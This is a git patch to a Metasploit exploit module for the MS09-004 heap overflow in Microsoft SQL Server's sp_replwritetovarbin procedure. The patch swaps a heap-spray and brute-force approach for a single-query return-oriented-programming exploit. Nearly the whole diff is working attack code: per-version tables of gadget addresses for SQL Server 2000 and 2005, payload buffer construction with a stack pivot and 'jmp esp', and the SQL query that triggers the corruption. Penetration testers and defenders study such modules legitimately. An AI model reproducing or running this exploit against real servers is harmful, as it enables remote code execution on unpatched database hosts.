From 52b71077d3989d6db0859a775a4384d3190cb756 Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Tue, 19 Jan 2010 01:51:48 +0000 Subject: [PATCH] major overhaul of ms09-004 (cve-2008-5416) exploit git-svn-id: file:///home/svn/framework3/trunk@8151 4d416f70-5f16-0410-b530-b9f4589650da --- .../mssql/ms09_004_sp_replwritetovarbin.rb | 445 +++++++++--------- 1 file changed, 227 insertions(+), 218 deletions(-) diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index e1e1ff1d03..e9a5a3ed94 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -21,10 +21,12 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption', 'Description' => %q{ - A heap-based buffer overflow can occur when calling the undocumented + A heap-based buffer overflow can occur when calling the undocumented "sp_replwritetovarbin" extended stored procedure. This vulnerability affects all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database, and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004. + Microsoft patched this vulnerability in SP3 for 2005 without any public + mention. This exploit smashes several pointers, as shown below. @@ -38,24 +40,12 @@ class Metasploit3 < Msf::Exploit::Remote 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with a displacement of 4. This pointer is not used by this exploit. - There are two different methods used by this exploit, which have been named - "writeNcall" and "sprayNbrute". - - The first, "writeNcall", was published by k`sOSe on Dec 17 2008. It uses pointers - 2 and 3, as well as a writeable address. This method is quite reliable. However, - it relies on the the operation on pointer 2. Newer versions of SQL server - (>= 2000 SP3 at least) use a length value that is 8-byte aligned. This imposes a - restriction that the code address that leads to the payload (jmp ecx in this - case) must match the regex '.[08].[08].[08].[08]'. Unfortunately, no such - addresses were found in memory. - - For this reason, the second method, "sprayNbrute" is used. First a heap-spray - is used to prime memory with lots of copies of the address of our code that - leads to the payload (jmp ecx). Next, brute force is used to try to guess a - value for pointer 3 that points to the sprayed data. - - A new method of spraying the heap inside MSSQL is presented. Sadly, it only - allows the creation of a bunch of 8000 byte buffers. + This particular exploit replaces the previous dual-method exploit. It uses + a technique where the value contained in ecx becomes the stack. From there, + return oriented programming is used to normalize the execution state and + finally execute the payload via a "jmp esp". All addresses used were found + within the sqlservr.exe memory space, yielding very reliable code execution + using only a single query. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, @@ -75,8 +65,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Payload' => { 'Space' => 512, - 'BadChars' => "", # nul bytes are ok! - 'StackAdjustment' => -3500, + 'BadChars' => "", # bad bytes get encoded! + 'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff", 'DisableNops' => true }, 'Platform' => 'win', @@ -94,58 +84,162 @@ class Metasploit3 < Msf::Exploit::Remote # Aug 6 2000 00:57:48 'MSSQL 2000 / MSDE SP0 (8.00.194)', { - 'Method' => 'writeNcall', + 'Num' => 32, # value for "start_offset" + 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr + 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) - 'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec) - 'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 base) + 'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec) + 'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08] + 'Disp' => 0x08, # displacement on call [ecx+disp] used + 'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret + 'Popped' => 0x4, # byte count popped in above (before ret) + 'Offset' => 0x28, # offset to the new stack! + 'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret) + 'Ret' => 0x0041c9a2 # jmp esp }, ], + + [ + # Microsoft SQL Server 2000 - 8.00.384 (Intel X86) + # May 23 2001 00:02:52 + 'MSSQL 2000 / MSDE SP1 (8.00.384)', + { + 'Num' => 32, # value for "start_offset" + 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr + 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash + 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) + 'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec) + 'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18] + 'Disp' => 0x34, # displacement on call [ecx+disp] used + 'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret + 'Popped' => 0x8, # byte count popped in above (before ret) + 'Offset' => 0x28, # offset to the new stack! + 'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret) + 'Ret' => 0x004caa15 # jmp esp + }, + ], + + [ + # Microsoft SQL Server 2000 - 8.00.534 (Intel X86) + # Nov 19 2001 13:23:50 + 'MSSQL 2000 / MSDE SP2 (8.00.534)', + { + 'Num' => 32, # value for "start_offset" + 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr + 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash + 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) + 'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec) + 'FixDisp' => 0x660077, # not directly used - call [ecx-0x18] + 'Disp' => 0x34, # displacement on call [ecx+disp] used + 'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret + 'Popped' => 0x8, # byte count popped in above (before ret) + 'Offset' => 0x28, # offset to the new stack! + 'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret) + 'Ret' => 0x004ca984 # jmp esp + }, + ], + [ # Microsoft SQL Server 2000 - 8.00.760 (Intel X86) # Dec 17 2002 14:22:05 'MSSQL 2000 / MSDE SP3 (8.00.760)', { - 'Method' => 'sprayNbrute', + 'Num' => 32, # value for "start_offset" + 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr + 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) - 'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec) - 'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 sp3) + 'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec) + 'FixDisp' => 0x490074, # not directly used - call [ecx+0x14] + 'Disp' => 0x34, # displacement on call [ecx+disp] used + 'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret + 'Popped' => 0x8, # byte count popped in above (before ret) + 'Offset' => 0x28, # offset to the new stack! + 'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret) + 'Ret' => 0x0043fa97 # jmp esp }, ], + [ # Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) # May 3 2005 23:18:38 'MSSQL 2000 / MSDE SP4 (8.00.2039)', { - 'Method' => 'sprayNbrute', + 'Num' => 32, # value for "start_offset" + 'VtOff' => -13, # offset from 'Num' to smashed vtable ptr + 'VtDisp' => 0x38, # displacement from call [eax+0x38] crash 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) - 'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec) - #'Vtable' => 0x42c300c8, # ugh! - 'Ret' => 0x42b0be10 # jmp ecx in sqlsort.dll (2000 sp4) - #'Ret' => 0x773d115b # jmp ecx in activeds.dll (2000 sp4 on 2000) - #'Ret' => 0x7ca7dc96 # push ecx|pop esp|pop ebp|retn 8 - in shell32 on 2k3sp2 + 'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec) + 'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14] + 'Disp' => 0x14, # displacement on call [ecx+disp] used + 'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4 + 'Popped' => 0x4, # byte count popped in above (before ret) + 'Offset' => 0x20, # offset to the new stack! + 'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret) + 'Ret' => 0x0047c89d # jmp esp }, ], + [ # Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) # Oct 14 2005 00:33:37 - 'MSSQL 2005 (9.00.1399.06)', + 'MSSQL 2005 SP0 (9.00.1399.06)', { - 'Method' => 'sprayNbrute', + 'Num' => 32, # value for "start_offset" + 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr + 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) - 'Vtable' => 0x05413090, # becomes edx for [edx+0x10] or [edx+4] (must be valid to exec) - 'Ret' => 0x49a9835f # jmp ecx ? + 'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec) + 'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14] + 'Disp' => 0x50, # displacement on call [ecx+disp] used + 'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret + 'Popped' => 0x4, # byte count popped in above (before ret) + 'Offset' => 0x20, # offset to the new stack! + 'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret) + 'Ret' => 0x0112c2c7 # jmp esp }, ], + [ - # debugging... - 'CRASHER', + # Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86) + # Apr 14 2006 01:12:25 + 'MSSQL 2005 SP1 (9.00.2047.00)', { - 'Method' => 'sprayNbrute', - 'Writable' => 0xcafebabe, - 'Vtable' => 0xfeedfed5, - 'Ret' => 0xdeadbeef + 'Num' => 32, # value for "start_offset" + 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr + 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash + 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) + 'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec) + 'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14] + 'Disp' => 0x52, # displacement on call [ecx+disp] used + 'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret + 'Popped' => 0x4, # byte count popped in above (before ret) + 'Offset' => 0x20, # offset to the new stack! + 'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret) + 'Ret' => 0x011b204c # jmp esp }, - ] + ], + + [ + # Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) + # Feb 9 2007 22:47:07 + 'MSSQL 2005 SP2 (9.00.3042.00)', + { + 'Num' => 32, # value for "start_offset" + 'VtOff' => 63, # offset from 'Num' to smashed vtable ptr + 'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash + 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) + 'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec) + 'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14] + 'Disp' => 0x52, # displacement on call [ecx+disp] used + 'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret + 'Popped' => 0x4, # byte count popped in above (before ret) + 'Offset' => 0x20, # offset to the new stack! + 'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret) + 'Ret' => 0x010a5379 # jmp esp + }, + ], + + [ 'CRASHER', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 09 2008' @@ -167,9 +261,13 @@ class Metasploit3 < Msf::Exploit::Remote # TODO: add more versions return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/) + return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/) + return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/) return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/) return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/) + return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/) + return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/) return Exploit::CheckCode::Safe end @@ -184,12 +282,20 @@ class Metasploit3 < Msf::Exploit::Remote if (version =~ /8\.00\.194/) mytarget = targets[1] - elsif (version =~ /8\.00\.760/) + elsif (version =~ /8\.00\.384/) mytarget = targets[2] - elsif (version =~ /8\.00\.2039/) + elsif (version =~ /8\.00\.534/) mytarget = targets[3] - elsif (version =~ /9\.00\./) + elsif (version =~ /8\.00\.760/) mytarget = targets[4] + elsif (version =~ /8\.00\.2039/) + mytarget = targets[5] + elsif (version =~ /9\.00\.1399\.06/) + mytarget = targets[6] + elsif (version =~ /9\.00\.2047\.00/) + mytarget = targets[7] + elsif (version =~ /9\.00\.3042\.00/) + mytarget = targets[8] end if mytarget.nil? @@ -201,191 +307,89 @@ class Metasploit3 < Msf::Exploit::Remote mytarget = target end - if mytarget['Method'] == 'sprayNbrute' - exploit_spray_and_brute(mytarget) - elsif mytarget['Method'] == 'writeNcall' - exploit_write_and_call(mytarget) - else - raise RuntimeError, "Invalid exploitation method specified." - end - end - - - # prepare a known address pointing to jmp ecx! - def exploit_write_and_call(mytarget) - - # write the 4 bytes.. - packed_ret = [mytarget['Ret']].pack('V') - x = 0 - packed_ret.unpack('C*').each do |byte| - if (not mssql_login_datastore) - raise RuntimeError, "Invalid SQL Server credentials" - end - - addr = mytarget['Writable'] + x - - # write a single byte value to an arbitrary address (using this vuln) - print_status("Writing 0x%02x to %#x ..." % [byte, addr]) - - num = 16 - sz = num + 179 - buf = rand_text_alphanumeric(sz) - # this corresponds to mov [eax+4], ecx - buf << [addr - 4].pack('V') - - # this causes a length value to have the lsb of our byte - len = 0x169 - if (len & 0xff) < byte - len = byte - (len & 0xff) - else - len = (0x200 - len) + byte - end - extra = rand_text_alphanumeric(len) - - write_byte_sql = %Q|declare @e int,@b varbinary,@l int;exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,'%STUFF%','','','','','','','','','%EXTRA%'| - buf = mssql_encode_string(buf) - sql = write_byte_sql.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, buf).gsub(/%EXTRA%/, extra) - begin - ret = mssql_query(sql, false) - rescue ::Errno::ECONNRESET, EOFError - print_error("Error: #{$!}") - end - - x += 1 - end - - if (not mssql_login_datastore) - raise RuntimeError, "Invalid SQL Server credentials" - end - - # call to ecx via the ptr we wrote - print_status("Triggering the call to our faked vtable ptr @ %#x" % mytarget['Writable']) sqlquery = %Q|declare @i int,@buf nvarchar(4000) set @buf='declare @e int,@b varbinary,@l int;' set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',''' set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8''' exec master..sp_executesql @buf | - # make sploit buff - num = 16 - sz = num + 179 - sploit = make_nops(sz-2) - sploit << "\xeb\x04" - sploit << [mytarget['Writable'] + 8].pack('V') - sploit << payload.encoded - sploit[3,4] = [mytarget['Writable']-0x38].pack('V') + + # just crash it with a pattern buffer if the CRASHER target is selected.. + if mytarget.name == 'CRASHER' + sploit = Rex::Text.pattern_create(2048) + print_status("Attempting to corrupt memory to cause an exception!") + num = 32 + else + # trigger the memory corruption + num = mytarget['Num'] + vt_off = mytarget['VtOff'] + vt_disp = mytarget['VtDisp'] + vtable = mytarget['Vtable'] + ecx_disp = mytarget['Disp'] + esp_off = mytarget['Offset'] + hijack_esp = mytarget['ecx2esp'] + first_esp = mytarget['Popped'] + fix_esp = mytarget['FixESP'] + writable = mytarget['Writable'] + + # make sploit buff + sz = (num + vt_off) + esp_off + 6 + 2 + 0x38 + payload.encoded.length + #sploit = Rex::Text.pattern_create(sz) + sploit = rand_text_alphanumeric(sz) + + # remove displacement! (using call [ecx+displacement]) + vtable_off = (num + vt_off) + sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V') + + # stack -> heap + hijack_off = vtable_off + ecx_disp + sploit[hijack_off,4] = [hijack_esp].pack('V') + # becomes eax on mssql 2ksp4 (prevent crash) + sploit[(vtable_off-4),4] = [writable].pack('V') + + # becomes eip after esp hijack + fixesp_off = vtable_off + first_esp + sploit[fixesp_off,4] = [fix_esp].pack('V') + + # rest of magic stack (disable DEP?) + stack_off = vtable_off + esp_off + stack = [] + stack << mytarget['Ret'] + stack = stack.pack('V*') + # jump over the stuff that gets corrupted + stack << "\xeb\x38" + stack << "\xcc" * 0x38 + stack << payload.encoded + sploit[stack_off,stack.length] = stack + + # this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff + sploit[hijack_off,4] = [hijack_esp].pack('V') + + print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable]) + end # encode chars that get modified enc = mssql_encode_string(sploit) - sql = sqlquery.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, enc) - ret = mssql_query(sql) + + # put the number in (start offset) + runme = sqlquery.gsub(/%NUM%/, num.to_s) + runme.gsub!(/%STUFF%/, enc) + + # go! + if (not mssql_login_datastore) + raise RuntimeError, "Unable to log in!" + end + begin + mssql_query(runme) + rescue ::Errno::ECONNRESET, EOFError + print_error("Error: #{$!}") + end handler disconnect end - def exploit_spray_and_brute(mytarget) - - brute_count = 1000 - brute_step = 4096 - spray = true - spray = false if mytarget.opts.has_key?('nospray') - - if spray - - if (not mssql_login_datastore) - raise RuntimeError, "Invalid SQL Server credentials" - end - - print_status("Spraying the heap with our vtable entry pointer of %#x" % mytarget['Ret']) - - # spray the heap! (count of 'max' blocks of 8000 bytes...) - query2 = "declare @s varchar(8000);set @s='%MARKER%'+REPLICATE(%ADDR%, (8000/4)-3)+'%MARKER%'+%ADDR%;select @s" - query = %Q|declare @s nvarchar(4000);set @s='%QUERY2%';exec master..sp_executesql @s| - - addr = mssql_str_to_chars([mytarget['Ret']].pack('V')) -=begin - search_cmd = "s -b 0 L?-1 41 41" - search_cmd << Rex::Text.to_hex([mytarget['Ret']].pack('V'), ' ') - print_status("search command: " + search_cmd) -=end - max = 1000 - part = max / 10 - part = 1 if part < 1 - max.times do |x| - print_status("Spraying ... %d / %d" % [x,max]) if ((x % part)==0) - - marker = [0x41414141 + x].pack('V') - - q2run = query2.gsub(/%MARKER%/, marker) - q2run.gsub!(/%ADDR%/, addr) - q2run.gsub!(/\'/, "\'\'") - runme = query.gsub(/%QUERY2%/, q2run) - - break if not mssql_query(runme) - end - - disconnect - end - - sqlquery = %Q|declare @i int,@buf nvarchar(4000) -set @buf='declare @e int,@b varbinary,@l int;' -set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',''' -set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8''' -exec master..sp_executesql @buf -| - - # trigger the memory corruption - brute_count.times do |x| - vtable = mytarget['Vtable'] + (x * brute_step) - - # make sploit buff - num = 16 - sz = num + 179 - sploit = make_nops(sz-2) - #sploit = "\x90" * (sz-2) - sploit << "\xeb\x04" - sploit << [mytarget['Writable'] + 8].pack('V') - sploit << payload.encoded - - # mssql 2000 vtable ptr smashed! - sploit[num-13,4] = [vtable-0x38].pack('V') - - # mssql 2005 stuff: - # the vtable is deref'd twice here - # - first time ecx points at our buffer and the offset is 0x10 - # - second time esp+8 points to our buffer and the offset is 0x04 - sploit[num+63,4] = [vtable-0x10].pack('V') - #sploit[num+407,4] = [vtable-0x4].pack('V') - - # encode chars that get modified - enc = mssql_encode_string(sploit) - - # put the number in (start offset) - runme = sqlquery.gsub(/%NUM%/, num.to_s) - runme.gsub!(/%STUFF%/, enc) - - print_status("Triggering the call to our faked vtable ptr @ %#x" % vtable) - - # go! - if (not mssql_login_datastore) - raise RuntimeError, "Unable to log in!" - end - begin - mssql_query(runme) - rescue ::Errno::ECONNRESET, EOFError - print_error("Error: #{$!}") - end - - handler - break if session_created? - - disconnect - end - end - - def mssql_str_to_chars(str) ret = "" str.unpack('C*').each do |ch| @@ -441,7 +445,12 @@ exec master..sp_executesql @buf def mssql_query_version - if (not mssql_login_datastore) + begin + logged_in = mssql_login_datastore + rescue ::ConnectionRefused + raise RuntimeError, "Unable to connect: connection refused" + end + if (not logged_in) raise RuntimeError, "Invalid SQL Server credentials" end res = mssql_query("select @@version")